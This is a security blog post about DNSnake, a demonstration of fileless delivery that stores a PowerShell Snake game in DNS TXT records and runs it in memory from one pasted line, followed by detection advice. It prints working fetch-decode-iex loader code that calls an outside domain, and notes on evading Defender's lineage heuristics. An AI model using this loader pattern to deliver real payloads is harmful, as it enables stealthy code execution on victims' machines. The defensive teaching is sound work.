Snake Over DNS: How a Game Taught Me Fileless Malware Delivery
A harmless payload, a not-so-harmless delivery mechanism.
Introduction
I wanted a small project that would let me feel out a delivery technique I kept reading about in incident reports but had never built myself: staging a payload through DNS and running it without ever touching disk. The problem with learning an attacker technique is that the delivery method is trust-neutral. The same pipeline that ships a beacon ships anything.
The result is DNSnake. You paste one line into PowerShell, and a game of Snake fetches itself out of DNS TXT records, reassembles in memory, and runs. Nothing is written to disk. The whole thing is on my GitHub: mars-sec/dnsnake.
$d='dnsnake.marshallyanis.com';iex(-join(Resolve-DnsName "run.$d" TXT).Strings)
The game is the hook. The point is everything that has to happen for that one line to work, and why the mechanism should be a red flag to defenders.
How it works
The pipeline has two sides: an author side that turns a script into DNS records, and a player side that turns those records back into a running program.
Author side: script → TXT records
My publish.ps1 does the following to snake.ps1:
- Compress the source with raw Deflate: no gzip header, so the payload is as small as possible (2,484 bytes → 916 bytes).
- Base64-encode the compressed bytes into a 1,224-character ASCII string.
- Chunk that string into 200-character pieces, because a single DNS TXT string maxes out at 255 characters. That produces records
c0throughc6. - Hash it twice and stash the hashes in a
manifestrecord:- a payload hash over the base64 (did the records reassemble intact?), and
- a source hash over the original bytes (does the decompressed code match the code I published?).
- Write a
runrecord: a tiny loader one-liner that fetches the chunks, inflates them, and executes the result. Keeping the loader in DNS means the thing you type stays short.
I paste the printed records into my DNS provider as TXT entries.
Player side: TXT records → running game
The run record holds this (conceptually):
$b = -join (0..6 | % { (Resolve-DnsName "c$_.$d" TXT).Strings })
iex([IO.StreamReader]::new(
[IO.Compression.DeflateStream]::new(
[IO.MemoryStream]::new([convert]::FromBase64String($b)),
[IO.Compression.CompressionMode]::Decompress)).ReadToEnd())
Fetch every chunk, join them, base64-decode, inflate, and hand the resulting string to Invoke-Expression. The game runs from a string in memory. There is no snake.ps1 on the victim’s: sorry, player’s: disk.
Verifying before you run
“Paste this into your terminal and trust me” is the entire problem with the technique, so DNSnake ships two commands that break that trust requirement.
Inspect decompresses the payload and prints the source. It runs nothing:
$d='dnsnake.marshallyanis.com';[IO.StreamReader]::new([IO.Compression.DeflateStream]::new([IO.MemoryStream]::new([convert]::FromBase64String((-join(0..6|%{(Resolve-DnsName "c$_.$d" TXT).Strings})))),[IO.Compression.CompressionMode]::Decompress)).ReadToEnd()
Verify decompresses the payload, hashes it, and compares against the source hash pinned in the manifest:
source hash: ac5ca110c6dbea66 pinned: ac5ca110c6dbea66 match: True
A subtlety I got wrong the first time: the verify command has to hash the decompressed bytes, not a re-encoded string of them. My original version decoded the payload to text and hashed UTF8.GetBytes(text), which only matches the pin when the source is saved as BOM-less UTF-8. Save the file with a BOM or as UTF-16 and a perfectly clean payload fails verification: the worst possible failure mode for a tool whose entire job is establishing trust. Hashing the raw decompressed bytes is encoding-agnostic and always matches.
How this maps to fileless malware
Strip out Snake and put a beacon in its place, and DNSnake stops being a toy and becomes a fileless malware loader.
”Fileless” means the disk never sees it
Traditional AV is very good at scanning files. DNSnake never creates one. The payload exists as TXT records on a remote server and as a string in a PowerShell process’s memory. There is no artifact to quarantine, no hash to blocklist on disk, no dropped executable for an EDR file-write rule to trip on.
DNS is the perfect smuggling channel
Attackers reach for DNS as a staging and command-and-control channel for reasons DNSnake demonstrates directly:
- It’s almost always allowed out. A network might block arbitrary outbound HTTP, but DNS resolution has to work or nothing works. Egress filtering rarely inspects TXT answers.
- TXT records are legitimately full of encoded junk. SPF, DKIM, DMARC, and domain-verification tokens are all base64/opaque strings living in TXT records. A payload chunked across
c0..c6blends into that noise. - Chunking looks normal. Splitting data across many records to dodge length limits is exactly what legitimate systems do.
- It can hide from the network entirely. Point the resolver at DNS-over-HTTPS and even a network monitor watching port 53 sees nothing but TLS to a resolver.
In ATT&CK terms, DNSnake touches T1071.004 (Application Layer Protocol: DNS), T1105 (Ingress Tool Transfer), T1027 (Obfuscated/compressed payload), T1140 (Deobfuscate/Decode), T1059.001 (PowerShell), and T1620 (Reflective / in-memory code loading), covering most of a fileless delivery chain.
Living off the land
Notice what DNSnake never installs: nothing. Resolve-DnsName and Invoke-Expression are built into Windows PowerShell. No dropper, no compiler, no third-party tool. “Living off the land”: abusing trusted, signed, pre-installed binaries: is what keeps the initial footprint under the radar, and the entire loader is built from it.
Process lineage is important
From my testing, whether Defender cares has almost nothing to do with the command itself and almost everything to do with what launched it.
I ran the exact same play command two ways. Pasted by hand into an interactive PowerShell window — parent process explorer.exe or a terminal — it runs clean. No alert, no block, Snake just appears. Then I had it spawned the way a real intrusion would: as a child of an Office process, a script host, or an unexpected service. Same Resolve-DnsName → iex, same bytes on the wire — and now it trips behavioral detection and Attack Surface Reduction rules like “block Office applications from creating child processes.”
Nothing about the payload changed. What changed is the process lineage. Microsoft Defender’s behavioral and cloud-delivered protection leans heavily on parent-child relationships, because a human typing into a console is normal and winword.exe → powershell.exe → outbound DNS → iex is not. The suspicious chain is the signal; the command is just the thing at the end of it.
That cuts two ways, and the uncomfortable direction is worth sitting with. The interactive-paste vector — the “run this one line to fix your problem” lure — is precisely the case that doesn’t fire the lineage heuristic, because from the endpoint’s view a user knowingly ran a command in their own shell. It’s a genuine execution by a genuine user, which is exactly what social engineering manufactures. So the technique that looks least sophisticated (copy-paste into a terminal) can be the one that most cleanly sidesteps the detection built for the sophisticated version. It’s also the reason inspect-and-verify has to live with the user, not the network: by the time the bytes reach the shell, the parent process is you.
Two-stage loading
The split between the tiny run record and the bulky c0..c6 chunks isn’t just a length workaround: it mirrors how real loaders work. A minimal stager (small, fast, low-signal) pulls down a larger stage on demand. Keeping the first stage tiny is what lets an attacker fit it into a phishing lure, a macro, or a single pasted line, then fetch the heavy payload only once execution is underway.
The only real difference is the payload
My delivery pipeline and a criminal’s are architecturally the same. The bytes in the TXT records decide whether you’re playing Snake or joining a botnet, and by the time you’ve run iex, it’s too late to wonder which. That asymmetry: trust-neutral delivery, trust-critical payload: is why the inspect-and-verify step matters.
Detection & mitigation
If you defend Windows environments, this is the shape to hunt for:
- PowerShell Script Block Logging (Event ID 4104) and Module Logging: these capture the deobfuscated script content at execution, including
iexof a decompressed, DNS-sourced string. Your best defense against this technique. - AMSI: inspects script content after deobfuscation, in memory, right before it runs.
- Behavioral rules: alert on
Resolve-DnsName -Type TXToutput flowing intoInvoke-Expression/iex, or the combination ofFromBase64String+DeflateStream+iexin one scope. - DNS telemetry: flag high volumes of TXT queries to one domain, high-entropy TXT answers, lookups to newly registered domains, and clients bypassing your resolver (including DoH).
- Constrained Language Mode + WDAC/AppLocker: constrain what in-memory scripts are allowed to do in the first place.
- Egress DNS control: force clients through a logging resolver and block direct external DNS.
The defense here isn’t a file scanner. It’s logging the moment of execution and watching how DNS is used.
Ethics & scope
DNSnake runs on a domain I own and delivers a game. I built and published it so the delivery technique and: more importantly: the inspect-and-verify countermeasures are easy to read and reproduce. Don’t point payloads at systems or domains you don’t control. The interesting lesson here was never the Snake game; it was learning to distrust the one-liner, even when it’s mine.
Source and verification tooling: mars-sec/dnsnake.